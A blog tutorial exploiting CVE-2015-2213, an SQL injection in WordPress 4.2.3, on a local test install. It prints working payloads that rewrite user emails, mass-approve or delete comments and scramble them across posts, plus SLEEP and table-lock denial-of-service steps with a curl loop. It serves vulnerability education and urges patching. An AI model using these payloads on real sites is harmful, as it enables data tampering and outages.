WordPress 4.2 Exploit, SQL Injection Edition

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Let's SQL Inject WordPress! (v 4.2.3)

If you're not subscribed to a security mailing list it means you often don't know when the site you run might be vulnerable. But even when you're on them sometimes you wonder how vulnerable your site actually is. After all, out of all the sites out there, "who would attack me?" is a prevailing mindset. But no matter what your mindset, it's good to take a few moments out of your day to see how vulnerable your system is.

So today I decided to see if I could use a security mailing list report to backdoor a wordpress installation. First off, we need wordpress, so go to the release archive and download version 4.2.3. This version is affected by a lack of sanitation here. Secondly let's get setup on our local machine.

Apache Virtual host to test

<VirtualHost *:80>
    Servername local.wordpress.sec
    ErrorLog /tmp/error.log
    DocumentRoot /path/to/downloaded/wordpress
    <Directory /path/to/downloaded/wordpress >
        Options Indexes FollowSymLinks MultiViews
        AllowOverride All
        Order allow,deny
        allow from all
    </Directory>
</VirtualHost>

/etc/hosts file update

127.0.0.1 local.wordpress.sec

MySQL database

$ mysql -u root -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3
Server version: 5.6.16-log MySQL Community Server (GPL)

Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> create database hackedsite;
Query OK, 1 row affected (0.03 sec)

Once this is done, navigate to http://local.wordpress.sec in your browser and you should be greeted by the usual wordpress screen:

The Wordpress install page

Run through the instructions, setting up a wp-config.php file if neccesary, and enter your site information:

The Wordpress setup page

Now that that's setup, we can begin utilizing our knowledge about the bug CVE-2015-2213 to compromise the site. The bug occurs in the wp_untrash_post_comments function, which from its name and the documentation around it, restores comments that have been trashed due to the related post being trashed. Here's the vulnerable code:

foreach ( $group_by_status as $status => $comments ) {
    // Sanity check. This shouldn't happen.
    if ( 'post-trashed' == $status )
        $status = '0';
    $comments_in = implode( "', '", $comments );
    $wpdb->query( "UPDATE $wpdb->comments SET comment_approved = '$status' WHERE comment_ID IN ('" . $comments_in . "')" );
}

To restore a comment we simply change it to be unapproved again and delete some post meta information. The issue of course lies in the implode on the $comments variable. Where does $comments come from? The $group_by_status variable, which comes from:

// Restore each comment to its original status.
$group_by_status = array();
foreach ( $statuses as $comment_id => $comment_status )
    $group_by_status[$comment_status][] = $comment_id;

which comes from the $statuses variable. Which comes from:

$statuses = get_post_meta($post_id, '_wp_trash_meta_comments_status', true);

Which ultimately comes from the database's postmeta table. The issue is that we expect numeric ID's, but the postmeta can hold anything due to WordPress's long and skinny design. So let's get to injecting. First, we post a comment on the blog:

Leaving a comment on the blog

And later on an administrator deletes the post:

Deleting a post on the site

And we now see the vulnerable field in the database ready for the taking:

mysql> select * from wp_postmeta;
+---------+---------+--------------------------------+--------------------------------+
| meta_id | post_id | meta_key                       | meta_value                     |
+---------+---------+--------------------------------+--------------------------------+
|       1 |       2 | _wp_page_template              | default                        |
|       2 |       1 | _wp_trash_meta_status          | publish                        |
|       3 |       1 | _wp_trash_meta_time            | 1440362401                     |
|       4 |       1 | _wp_trash_meta_comments_status | a:2:{i:1;s:1:"1";i:2;s:1:"1";} |
+---------+---------+--------------------------------+--------------------------------+

As you can tell, the _wp_trash_meta_comments_status field is a serialized PHP array. Now let's assume you've compromised the website in some way and managed to get database access. So assuming you're able to modify that meta value in some way, we can cause an injection.

Let's say we change the meta_value to deserialize to an array like this:

array("'); SELECT ('hi" => 0);

This is a simple SQL Injection, and when ran through the code will result in a query going to the database like this:

UPDATE wp_comments SET comment_approved = 0 WHERE comment_ID IN (''); SELECT ('hi');

Which if you run in your MySQL shell will result in a simple hi being returned. So could this be used to backdoor or do something malicious? Simple:

array("'); UPDATE wp_users set user_email = ('myemail@example.com" => "1")

Will result in the query to the database:

UPDATE wp_comments SET comment_approved = 1 WHERE comment_ID IN (''); UPDATE wp_users set user_email = ('myemail@example.com')

And now every single user account's email is set to yours! Of course, you could make this a bit less noticeable by targetting a single account. The obvious being ID=1, the admin account that will likely exist on every wordpress site out there. Plan drawn, let's see it in practice! First, serializing our attack array:

$ php -a 
php > $comments = array("'); UPDATE wp_users set user_email = ('1qdzqk+bzlrxxfbjpnvk@sharklasers.com" => 1);
php > print serialize($comments);
a:1:{s:75:"'); UPDATE wp_users set user_email = ('1qdzqk+bzlrxxfbjpnvk@sharklasers.com";i:1;}

And then using the database access you have, we can insert a backdoor:

 UPDATE wp_postmeta SET meta_value = "a:1:{s:75:\"'); UPDATE wp_users set user_email = ('1qdzqk+bzlrxxfbjpnvk@sharklasers.com\";i:1;}" WHERE meta_key = '_wp_trash_meta_comments_status' AND post_id = 1;

To check if this works, let's examine the database before:

mysql> update wp_users set user_email = '';
Query OK, 0 rows affected (0.05 sec)
Rows matched: 1  Changed: 0  Warnings: 0

mysql> select * from wp_users;
+----+------------+------------------------------------+---------------+------------+----------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email | user_url | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+------------+----------+---------------------+---------------------+-------------+--------------+
|  1 | admin      | $P$By9vOxgjlDv/ZVc3P6RCkm2ODy.dnG. | admin         |            |          | 2015-08-23 20:20:42 |                     |           0 | admin        |
+----+------------+------------------------------------+---------------+------------+----------+---------------------+---------------------+-------------+--------------+
1 row in set (0.00 sec)

Then undelete the post:

Undeleting a post on the site

And nothing will happen! Why? Because by default WordPress use's mysqli, which doesn't support multiple statements being executed at the same time. So can we get around this? MySQL supports flags for executing multiple queries after all.

define('MYSQL_CLIENT_FLAGS', 65536);

and now when we connect to MySQL we'll have the proper flags to have multiple query support turned on. However, mysql_query doesn't support more than one statement at a time. So you're still going to just make noise in the log:

WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UPDATE wp_users set user_email = ('1qdzqk+bzlrxxfbjpnvk@sharklasers.com')' at line 1 for query UPDATE wp_comments SET comment_approved = '1' WHERE comment_ID IN (''); UPDATE wp_users set user_email = ('1qdzqk+bzlrxxfbjpnvk@sharklasers.com') made by wp_untrash_post, wp_untrash_post_comments, referer: http://local.wordpress.sec/wp-admin/edit.php?post_status=trash&post_type=post

If wordpress used multi-query this would work. But since they don't support that and probably won't in the future due to it's dangerous nature, it seems that the most that someone could do with this bug is make noise in the logfile. Also, since the injection attack requires access to the database to setup in the first place, it's highly unlikely to run into it from an outside attacker. Plus, in my testing it really requires some very specific information and events to happen:

  1. An admin or editor must make a post
  2. Someone must comment on that post
  3. An admin or editor must delete the post (not the comment, the post!)
  4. While the post is in the trash, the attacker must update the database as above
  5. The key in the attack array is the injected SQL, and the value is the status the comment will have set
  6. An admin or editor must restore the post from the trash to trigger the injection

So all in all. A rather unlikely attack vector. But an interesting one to look at nonetheless. So, how can we use this as a serious attack? Well, besides filling up a server's disk space with log errors, we could look at the ramifications of screwing up the query itself. For example, right now this is the query that is sent:

UPDATE wp_comments 
    SET comment_approved = INJECTABLE 
WHERE comment_ID IN ('INJECTABLE')

So what if we did this:

UPDATE wp_comments 
    SET comment_approved = 1 
WHERE comment_ID in ('1') OR ('1' = '1');

This is within our power by simply serializing the following array and executing a query:

$comments = array("1') OR ('1'='1" => 1);
UPDATE wp_postmeta SET meta_value = "a:1:{s:14:\"1') OR ('1'='1\";i:1;}" WHERE meta_key = '_wp_trash_meta_comments_status' 

When ran, this would cause every comment on the entire site to be approved. If you were to spam a website and create thousands of comments across the site, then execute that query. You would increase the load on the server whenever rendering the wordpress commments. In the same way, if you instead had the value of the attack array be 0, you would remove every comment on the entire site. Destroying all discussion and causing massive work on the administrators part to seperate the spam from real content.

This isn't the only way we can attempt to take down a site though. Here's a devil-ishly simple one:

$comments = array("1') OR SLEEP('9" => 1);

Which will cause the query to stay open.

mysql> show processlist;
+-----+------+-----------+------------+---------+------+------------+---------------------------------------------------------------------------------------+
| Id  | User | Host      | db         | Command | Time | State      | Info                                                                                  |
+-----+------+-----------+------------+---------+------+------------+---------------------------------------------------------------------------------------+
| 831 | root | localhost | hackedsite | Query   |    0 | init       | show processlist                                                                      |
| 841 | root | localhost | hackedsite | Query   |   39 | User sleep | UPDATE wp_comments SET comment_approved = '1' WHERE comment_ID IN ('1') OR SLEEP('9') |
+-----+------+-----------+------------+---------+------+------------+---------------------------------------------------------------------------------------+

If you did this enough times, you could cause starvation to the website and it could run out of database threads to use. Causing a DoS attack. Take note of the code again:

foreach ( $group_by_status as $status => $comments ) {
    // Sanity check. This shouldn't happen.
    if ( 'post-trashed' == $status )
        $status = '0';
    $comments_in = implode( "', '", $comments );
    $x = $wpdb->query( "UPDATE $wpdb->comments SET comment_approved = '$status' WHERE comment_ID IN ('" . $comments_in . "');" );
}

We see that we're looping this update query for each status. On my local host, the max connection setting is set to 64. So we'll construct an array like so:

php > $foo = array();
php > for($i = 0; $i < 66; $i++) $foo["1') OR SLEEP('$i"] = $i;
php > print_r($foo);
Array
(
    [1') OR SLEEP('0] => 0
    [1') OR SLEEP('1] => 1
    [1') OR SLEEP('2] => 2
    [1') OR SLEEP('3] => 3
... etc

print addslashes(serialize($foo));
a:66:{s:15:\"1\') OR SLEEP(\'0\";i:0;s:15:\"1\') OR SLEEP(\'1\";i:1;s:15:\"1\') OR SLEEP(\'2\";i:2;s:15:\"1\') OR SLEEP(\'3\";i:3;s:15:\"1\') OR SLEEP(\'4\";i:4;s:15:\"1\') OR SLEEP(\'5\";i:5;s:15:\"1\') OR SLEEP(\'6\";i:6;s:15:\"1\') OR SLEEP(\'7\";i:7;s:15:\"1\') OR SLEEP(\'8\";i:8;s:15:\"1\') OR SLEEP(\'9\";i:9;s:16:\"1\') OR SLEEP(\'10\";i:10;s:16:\"1\') OR SLEEP(\'11\";i:11;s:16:\"1\') OR SLEEP(\'12\";i:12;s:16:\"1\') OR SLEEP(\'13\";i:13;s:16:\"1\') OR SLEEP(\'14\";i:14;s:16:\"1\') OR SLEEP(\'15\";i:15;s:16:\"1\') OR SLEEP(\'16\";i:16;s:16:\"1\') OR SLEEP(\'17\";i:17;s:16:\"1\') OR SLEEP(\'18\";i:18;s:16:\"1\') OR SLEEP(\'19\";i:19;s:16:\"1\') OR SLEEP(\'20\";i:20;s:16:\"1\') OR SLEEP(\'21\";i:21;s:16:\"1\') OR SLEEP(\'22\";i:22;s:16:\"1\') OR SLEEP(\'23\";i:23;s:16:\"1\') OR SLEEP(\'24\";i:24;s:16:\"1\') OR SLEEP(\'25\";i:25;s:16:\"1\') OR SLEEP(\'26\";i:26;s:16:\"1\') OR SLEEP(\'27\";i:27;s:16:\"1\') OR SLEEP(\'28\";i:28;s:16:\"1\') OR SLEEP(\'29\";i:29;s:16:\"1\') OR SLEEP(\'30\";i:30;s:16:\"1\') OR SLEEP(\'31\";i:31;s:16:\"1\') OR SLEEP(\'32\";i:32;s:16:\"1\') OR SLEEP(\'33\";i:33;s:16:\"1\') OR SLEEP(\'34\";i:34;s:16:\"1\') OR SLEEP(\'35\";i:35;s:16:\"1\') OR SLEEP(\'36\";i:36;s:16:\"1\') OR SLEEP(\'37\";i:37;s:16:\"1\') OR SLEEP(\'38\";i:38;s:16:\"1\') OR SLEEP(\'39\";i:39;s:16:\"1\') OR SLEEP(\'40\";i:40;s:16:\"1\') OR SLEEP(\'41\";i:41;s:16:\"1\') OR SLEEP(\'42\";i:42;s:16:\"1\') OR SLEEP(\'43\";i:43;s:16:\"1\') OR SLEEP(\'44\";i:44;s:16:\"1\') OR SLEEP(\'45\";i:45;s:16:\"1\') OR SLEEP(\'46\";i:46;s:16:\"1\') OR SLEEP(\'47\";i:47;s:16:\"1\') OR SLEEP(\'48\";i:48;s:16:\"1\') OR SLEEP(\'49\";i:49;s:16:\"1\') OR SLEEP(\'50\";i:50;s:16:\"1\') OR SLEEP(\'51\";i:51;s:16:\"1\') OR SLEEP(\'52\";i:52;s:16:\"1\') OR SLEEP(\'53\";i:53;s:16:\"1\') OR SLEEP(\'54\";i:54;s:16:\"1\') OR SLEEP(\'55\";i:55;s:16:\"1\') OR SLEEP(\'56\";i:56;s:16:\"1\') OR SLEEP(\'57\";i:57;s:16:\"1\') OR SLEEP(\'58\";i:58;s:16:\"1\') OR SLEEP(\'59\";i:59;s:16:\"1\') OR SLEEP(\'60\";i:60;s:16:\"1\') OR SLEEP(\'61\";i:61;s:16:\"1\') OR SLEEP(\'62\";i:62;s:16:\"1\') OR SLEEP(\'63\";i:63;s:16:\"1\') OR SLEEP(\'64\";i:64;s:16:\"1\') OR SLEEP(\'65\";i:65;}

And then insert it as usual when a post is trashed.

UPDATE wp_postmeta SET meta_value = "a:66:{s:15:\"1\') OR SLEEP(\'0\";i:0;s:15:\"1\') OR SLEEP(\'1\";i:1;s:15:\"1\') OR SLEEP(\'2\";i:2;s:15:\"1\') OR SLEEP(\'3\";i:3;s:15:\"1\') OR SLEEP(\'4\";i:4;s:15:\"1\') OR SLEEP(\'5\";i:5;s:15:\"1\') OR SLEEP(\'6\";i:6;s:15:\"1\') OR SLEEP(\'7\";i:7;s:15:\"1\') OR SLEEP(\'8\";i:8;s:15:\"1\') OR SLEEP(\'9\";i:9;s:16:\"1\') OR SLEEP(\'10\";i:10;s:16:\"1\') OR SLEEP(\'11\";i:11;s:16:\"1\') OR SLEEP(\'12\";i:12;s:16:\"1\') OR SLEEP(\'13\";i:13;s:16:\"1\') OR SLEEP(\'14\";i:14;s:16:\"1\') OR SLEEP(\'15\";i:15;s:16:\"1\') OR SLEEP(\'16\";i:16;s:16:\"1\') OR SLEEP(\'17\";i:17;s:16:\"1\') OR SLEEP(\'18\";i:18;s:16:\"1\') OR SLEEP(\'19\";i:19;s:16:\"1\') OR SLEEP(\'20\";i:20;s:16:\"1\') OR SLEEP(\'21\";i:21;s:16:\"1\') OR SLEEP(\'22\";i:22;s:16:\"1\') OR SLEEP(\'23\";i:23;s:16:\"1\') OR SLEEP(\'24\";i:24;s:16:\"1\') OR SLEEP(\'25\";i:25;s:16:\"1\') OR SLEEP(\'26\";i:26;s:16:\"1\') OR SLEEP(\'27\";i:27;s:16:\"1\') OR SLEEP(\'28\";i:28;s:16:\"1\') OR SLEEP(\'29\";i:29;s:16:\"1\') OR SLEEP(\'30\";i:30;s:16:\"1\') OR SLEEP(\'31\";i:31;s:16:\"1\') OR SLEEP(\'32\";i:32;s:16:\"1\') OR SLEEP(\'33\";i:33;s:16:\"1\') OR SLEEP(\'34\";i:34;s:16:\"1\') OR SLEEP(\'35\";i:35;s:16:\"1\') OR SLEEP(\'36\";i:36;s:16:\"1\') OR SLEEP(\'37\";i:37;s:16:\"1\') OR SLEEP(\'38\";i:38;s:16:\"1\') OR SLEEP(\'39\";i:39;s:16:\"1\') OR SLEEP(\'40\";i:40;s:16:\"1\') OR SLEEP(\'41\";i:41;s:16:\"1\') OR SLEEP(\'42\";i:42;s:16:\"1\') OR SLEEP(\'43\";i:43;s:16:\"1\') OR SLEEP(\'44\";i:44;s:16:\"1\') OR SLEEP(\'45\";i:45;s:16:\"1\') OR SLEEP(\'46\";i:46;s:16:\"1\') OR SLEEP(\'47\";i:47;s:16:\"1\') OR SLEEP(\'48\";i:48;s:16:\"1\') OR SLEEP(\'49\";i:49;s:16:\"1\') OR SLEEP(\'50\";i:50;s:16:\"1\') OR SLEEP(\'51\";i:51;s:16:\"1\') OR SLEEP(\'52\";i:52;s:16:\"1\') OR SLEEP(\'53\";i:53;s:16:\"1\') OR SLEEP(\'54\";i:54;s:16:\"1\') OR SLEEP(\'55\";i:55;s:16:\"1\') OR SLEEP(\'56\";i:56;s:16:\"1\') OR SLEEP(\'57\";i:57;s:16:\"1\') OR SLEEP(\'58\";i:58;s:16:\"1\') OR SLEEP(\'59\";i:59;s:16:\"1\') OR SLEEP(\'60\";i:60;s:16:\"1\') OR SLEEP(\'61\";i:61;s:16:\"1\') OR SLEEP(\'62\";i:62;s:16:\"1\') OR SLEEP(\'63\";i:63;s:16:\"1\') OR SLEEP(\'64\";i:64;s:16:\"1\') OR SLEEP(\'65\";i:65;}" WHERE meta_key = '_wp_trash_meta_comments_status' 

And you'll now always be eating up MySQL threads that could be used for something more productive. With PHP, because the process running the updates is synchronous, we only take up one thread though. If the code calling the database was looped asynchronously, we'd have a problem as we'd use all the threads. The other thing this could do is that if the wp_comments table was changed from using InnoDB to MyISAM we could stop anyone from commenting on the site due to table locking. Considering this hypothetical attacker can cause those UPDATE's to happen, they can probably do this:

mysql> ALTER TABLE wp_comments ENGINE=MyISAM;

Which, when we attempt to open up the web page results in the following:

mysql> show processlist;
+-----+------+-----------+------------+---------+------+------------------------------+------------------------------------------------------------------------------------------------------+
| Id  | User | Host      | db         | Command | Time | State                        | Info                                                                                                 |
+-----+------+-----------+------------+---------+------+------------------------------+------------------------------------------------------------------------------------------------------+
| 868 | root | localhost | hackedsite | Query   |    0 | init                         | show processlist                                                                                     |
| 870 | root | localhost | hackedsite | Query   |   37 | User sleep                   | UPDATE wp_comments SET comment_approved = '9' WHERE comment_ID IN ('1') OR SLEEP('9')                |
| 894 | root | localhost | hackedsite | Query   |    2 | Waiting for table level lock | SELECT * FROM wp_comments JOIN wp_posts ON wp_posts.ID = wp_comments.comment_post_ID WHERE ( comment |
+-----+------+-----------+------------+---------+------+------------------------------+------------------------------------------------------------------------------------------------------+
3 rows in set (0.00 sec)

Then all we have to do is open up 65+ connections:

$ for i in {0..65}
> do
> curl http://local.wordpress.sec/index.php/2015/08/23/hello-world/ &
> done

And tada! DoS:

A Successful Denial Of Service Attack A Successful Denial Of Service Attack

SLEEPing a thread will occupy it for a long while, until the timeout for the database. So if you wanted this to last until the database was restarted you would want to cause an infinite loop with the update. But how would we do this? Easy! Like this:

UPDATE wp_comments 
    SET comment_approved = '1', comment_ID = comment_ID + '1' 
WHERE comment_ID IN ('') OR (comment_ID >= 0 OR '1'='1');

This causes an infinite loop because the index used to solve the WHERE part of the update is effected by the update itself. And so once the update takes place, the updated row will be sorted to another place in the index, where it will be updated again. Again, injecting this is easy:

$comments = array("') OR (comment_ID >= 0 OR '1'='1" => "1', comment_ID = comment_ID + '1")
UPDATE wp_postmeta SET meta_value = "a:1:{s:32:\"\') OR (comment_ID >= 0 OR \'1\'=\'1\";s:32:\"1\', comment_ID = comment_ID + \'1\";}" WHERE meta_key = '_wp_trash_meta_comments_status';

But luckily for the system, this fails due to primary key errors, and we can't inject an IGNORE keyword into the query without modifying the source code itself. So it seems an infinite loop attack is out of our range given the indices on the table, but the SLEEP value can easily be made into the thousands range so it's not actually neccesary for an attack to work.

The other way one could abuse this injection would be to modify the posts the comments belong to:

$comments = array("') OR (comment_post_ID >= 0 OR '1'='1" => "1', comment_post_ID = comment_post_ID + '1")
UPDATE wp_comments 
    SET comment_approved = '1', comment_post_ID = comment_post_ID + '1' 
WHERE comment_ID IN ('') OR (comment_post_ID >= 0 OR '1'='1');

Which would cause comments for one post to shift to the next for every single post. Causing a massive headache for whoever has to sort them back into order. By changing the + '1' to something like FLOOR(RAND() * 401) + 10000 to shift the comments around in a random order, an even larger headache could happen.

Despite this alarming use of the injection attack, it's important to note how obscure and unlikely the scenario to cause this has to be. Using a MyISAM table for your comments table is, hopefully, an unlikely situation for you to be dealing with in the first place. And if an attacker has access to your database to change it and do the injection attack in the first place, you have bigger problems. And a perfect storm of security flaws is unlikely to be the one occupying your time!

Closing thoughts

  1. Subscribe to security mailing lists (it's informative, and fun!)
  2. Keep your software up to date! (the above issue is fixed in 4.2.4 and up)
  3. Take the time to try to exploit your own site with exploits from the mailing lists, it's fun to do on a weekend and will enhance your understanding of your sites vulnerabilities and how to protect it.

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